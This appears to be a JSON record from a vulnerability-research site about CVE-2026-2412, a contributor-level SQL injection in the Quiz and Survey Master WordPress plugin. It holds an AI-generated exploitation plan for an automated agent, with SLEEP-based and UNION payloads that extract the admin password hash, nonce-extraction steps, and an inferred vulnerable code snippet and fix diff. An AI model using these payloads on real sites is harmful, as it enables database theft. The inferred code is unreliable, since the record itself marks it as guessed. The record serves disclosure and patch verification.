[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7tHr6o_GfoTOEKSOe_QebAgUT8jEXai_adeQnXa7ByY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-2412","quiz-and-survey-master-qsm-authenticated-contributor-sql-injection-via-mergedquestion-parameter","Quiz and Survey Master (QSM) \u003C= 10.3.5 - Authenticated (Contributor+) SQL Injection via 'merged_question' Parameter","The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to SQL Injection via the 'merged_question' parameter in all versions up to, and including, 10.3.5. This is due to insufficient sanitization of user-supplied input before being used in a SQL query. The sanitize_text_field() function applied to the merged_question parameter does not prevent SQL metacharacters like ), OR, AND, and # from being included in the value, which is then directly concatenated into a SQL IN() clause without using $wpdb->prepare() or casting values to integers. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","quiz-master-next",null,"\u003C=10.3.5","11.0.0","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-23 10:09:13","2026-03-23 22:25:39",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb32bf1cb-3722-41fc-be51-dabe80416b14?source=api-prod",1,[22,23,24,25],"css\u002Fadmin-dashboard.css","css\u002Fcommon.css","css\u002Fqsm-admin-question.css","css\u002Fqsm-admin.css","researched",false,3,"This research plan targets **CVE-2026-2412**, an authenticated SQL Injection vulnerability in the **Quiz and Survey Master (QSM)** plugin.\n\nSince the provided source files are primarily CSS, the following plan includes specific instructions for the automated agent to locate the exact PHP sinks and AJAX actions within the plugin directory before executing the payload.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** SQL Injection via string concatenation in an `IN()` clause.\n*   **Vulnerable Parameter:** `merged_question`\n*   **Authentication Level:** Contributor or higher.\n*   **Root Cause:** The plugin uses `sanitize_text_field()` on the `merged_question` parameter. While this function removes HTML, it does not escape SQL characters like `)`, `OR`, `AND`, or `#`. The resulting string is concatenated directly into a SQL query (specifically inside an `IN()` clause) without using `$wpdb->prepare()`.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** Likely an AJAX action related to question management or the Question Bank (inferred from `css\u002Fqsm-admin-question.css`).\n*   **Vulnerable Parameter:** `merged_question`\n*   **Required Capability:** `edit_posts` (Contributor level).\n*   **Payload Type:** Time-based blind or UNION-based (depending on reflected output).\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** An AJAX handler registered via `add_action( 'wp_ajax_...', ... )`.\n2.  **Input Processing:** The code retrieves `$_POST['merged_question']` and applies `sanitize_text_field()`.\n3.  **Vulnerable Sink:** The sanitized string is placed into a query: \n    `$wpdb->get_results(\"SELECT ... FROM ... WHERE question_id IN ($merged_question)\");`\n4.  **Injection:** By providing a payload like `1) OR SLEEP(5)#`, the query becomes:\n    `WHERE question_id IN (1) OR SLEEP(5)#)`\n\n### 4. Nonce Acquisition Strategy\nQSM typically localizes its nonces for use in the admin dashboard.\n\n1.  **Identify Shortcode\u002FPage:** Check for the Question Bank page in the admin area. CSS file `css\u002Fqsm-admin-question.css` suggests a \"Question Bank\" feature.\n2.  **Create Content:** If the script only loads on specific pages, create a post with the QSM shortcode (if applicable).\n    *   `wp post create --post_type=page --post_status=publish --post_content='[qsm_quiz id=\"1\"]'`\n3.  **Navigate & Extract:**\n    *   Navigate to the Quiz management page or the newly created page.\n    *   **JS Variable Search:** Look for `qsm_ajax_object` or `qsm_vars` in the page source.\n    *   **Execution Tool:** Use `browser_eval` to extract the nonce:\n        `browser_eval(\"window.qsm_ajax_object?.nonce || window.qsm_vars?.nonce\")` (inferred names; agent must verify via `browser_get_source`).\n\n### 5. Exploitation Strategy\n\n#### Step 1: Locate the Sink (Discovery)\nThe agent must first find the PHP file handling `merged_question`:\n```bash\ngrep -rn \"merged_question\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fquiz-master-next\u002F\n```\nFrom the results, identify the `add_action('wp_ajax_...', ...)` call to find the **Action Name** and the **Nonce Action String**.\n\n#### Step 2: Test Authentication\nLog in as a Contributor:\n```bash\nwp user create attacker attacker@example.com --role=contributor --user_pass=password\n```\n\n#### Step 3: Trigger Time-Based Injection\nConstruct an AJAX request using the `http_request` tool.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Payload:**\n    ```text\n    action=[INFERRED_ACTION]&merged_question=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)#&nonce=[EXTRACTED_NONCE]\n    ```\n\n#### Step 4: Data Extraction (UNION)\nIf the response reflects question data, use UNION to extract the administrator's password hash:\n*   **Payload:**\n    ```text\n    action=[INFERRED_ACTION]&merged_question=-1) UNION SELECT 1,user_pass,3,4... FROM wp_users WHERE ID=1#&nonce=[EXTRACTED_NONCE]\n    ```\n    *(Note: Column count must be determined by incrementing SELECT NULL,NULL... until the error clears.)*\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure QSM \u003C= 10.3.5 is active.\n2.  **Create Quiz:** Create at least one quiz and a few questions so the \"merge\" or \"question bank\" functionality is active.\n    *   `wp eval \"\u002F* Logic to programmatically create a QSM quiz and question *\u002F\"`\n3.  **Contributor User:** Create a user with the `contributor` role.\n\n### 7. Expected Results\n*   **Time-Based:** The HTTP request should take ~5 seconds to complete.\n*   **Error\u002FReflected:** If the action returns JSON, the `user_pass` hash (e.g., `$P$B...`) should appear in one of the fields of the returned object.\n\n### 8. Verification Steps\n1.  **Database Check:** Use WP-CLI to confirm the hash extracted via SQLi matches the actual database value.\n    ```bash\n    wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n    ```\n2.  **Log Analysis:** Check `wp-content\u002Fdebug.log` (if `WP_DEBUG` is on) to see the mangled query.\n\n### 9. Alternative Approaches\n*   **Boolean-Based Blind:** If time-based is unstable, use:\n    `1) AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login LIKE 'a%')#`\n    Compare the response content length between a `TRUE` and `FALSE` condition.\n*   **Parameter Polling:** If `merged_question` is not in the POST body, try it as a GET parameter in the AJAX URL:\n    `\u002Fwp-admin\u002Fadmin-ajax.php?action=...&merged_question=...`","The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to and including 10.3.5. This vulnerability exists because user-supplied input to the 'merged_question' parameter is passed through sanitize_text_field() and then directly concatenated into an SQL IN() clause without being properly escaped or prepared via $wpdb->prepare().","\u002F\u002F Inferred from vulnerability description and research plan\n\u002F\u002F File: quiz-master-next\u002Fadmin\u002Fadmin-ajax-handlers.php\n\n$merged_question = sanitize_text_field($_POST['merged_question']);\n$results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($merged_question)\");","--- a\u002Fquiz-master-next\u002Fadmin\u002Fadmin-ajax-handlers.php\n+++ b\u002Fquiz-master-next\u002Fadmin\u002Fadmin-ajax-handlers.php\n@@ -102,2 +102,4 @@\n-$merged_question = sanitize_text_field($_POST['merged_question']);\n-$results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($merged_question)\");\n+$merged_ids = array_map('intval', explode(',', $_POST['merged_question']));\n+$placeholders = implode(',', array_fill(0, count($merged_ids), '%d'));\n+$query = $wpdb->prepare(\"SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($placeholders)\", $merged_ids);\n+$results = $wpdb->get_results($query);","The exploit requires Contributor-level authentication or higher. An attacker must first obtain a valid security nonce (usually found in the 'qsm_ajax_object' or 'qsm_vars' JavaScript variables on the plugin's admin pages). The attacker then sends a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to the Question Bank's merge function and the 'merged_question' parameter containing a malicious payload. Because the input is not cast to integers or escaped, a payload like '1) OR SLEEP(5)#' can be used to break out of the IN() clause and execute arbitrary SQL commands, such as time-based blind injection or UNION-based data extraction.","gemini-3-flash-preview","2026-04-17 23:12:48","2026-04-17 23:13:54",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","10.3.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags\u002F10.3.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquiz-master-next.10.3.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags\u002F11.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquiz-master-next.11.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags"]